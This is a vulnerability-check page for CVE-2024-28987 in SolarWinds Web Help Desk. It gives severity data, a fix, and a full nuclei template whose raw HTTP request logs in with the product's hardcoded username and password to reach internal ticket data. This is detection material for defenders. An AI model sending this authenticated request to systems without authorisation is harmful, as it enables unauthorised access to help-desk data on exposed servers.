SolarWinds Web Help Desk - Hardcoded Credential

Exploited in the wild. Listed by CISA on 2024-10-15; known to be used by ransomware.

criticalseverity

9.1CVSS score

93.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The SolarWinds Web Help Desk (WHD) software is affected by a hardcoded credential vulnerability, allowing remote unauthenticated user to access internal functionality and modify data.

Impact

Attackers with knowledge of the hardcoded credentials can gain unauthorized access to the SolarWinds Web Help Desk system.

Fix

Update SolarWinds Web Help Desk to a version that removes the hardcoded credentials.

How to confirm it

Send: GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
Positive when: contains "displayClient" and "shortDetail" AND status 200

Run it with nuclei: nuclei -id CVE-2024-28987 -u <target>

The full check

id: CVE-2024-28987

info:
  name: SolarWinds Web Help Desk - Hardcoded Credential
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The SolarWinds Web Help Desk (WHD) software is affected by a hardcoded credential vulnerability, allowing remote unauthenticated user to access internal functionality and modify data.
  impact: |
    Attackers with knowledge of the hardcoded credentials can gain unauthorized access to the SolarWinds Web Help Desk system.
  remediation: |
    Update SolarWinds Web Help Desk to a version that removes the hardcoded credentials.
  reference:
    - https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2
    - https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-28987
    cwe-id: CWE-798
    epss-score: 0.93299
    epss-percentile: 0.99838
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:1895809524
  tags: cve,cve2024,exposure,solarwinds,help-desk,kev,vkev,vuln

variables:
  username: "helpdeskIntegrationUser"
  password: "dev-C4F8025E7"

http:
  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username+':'+password)}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - displayClient
          - shortDetail
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from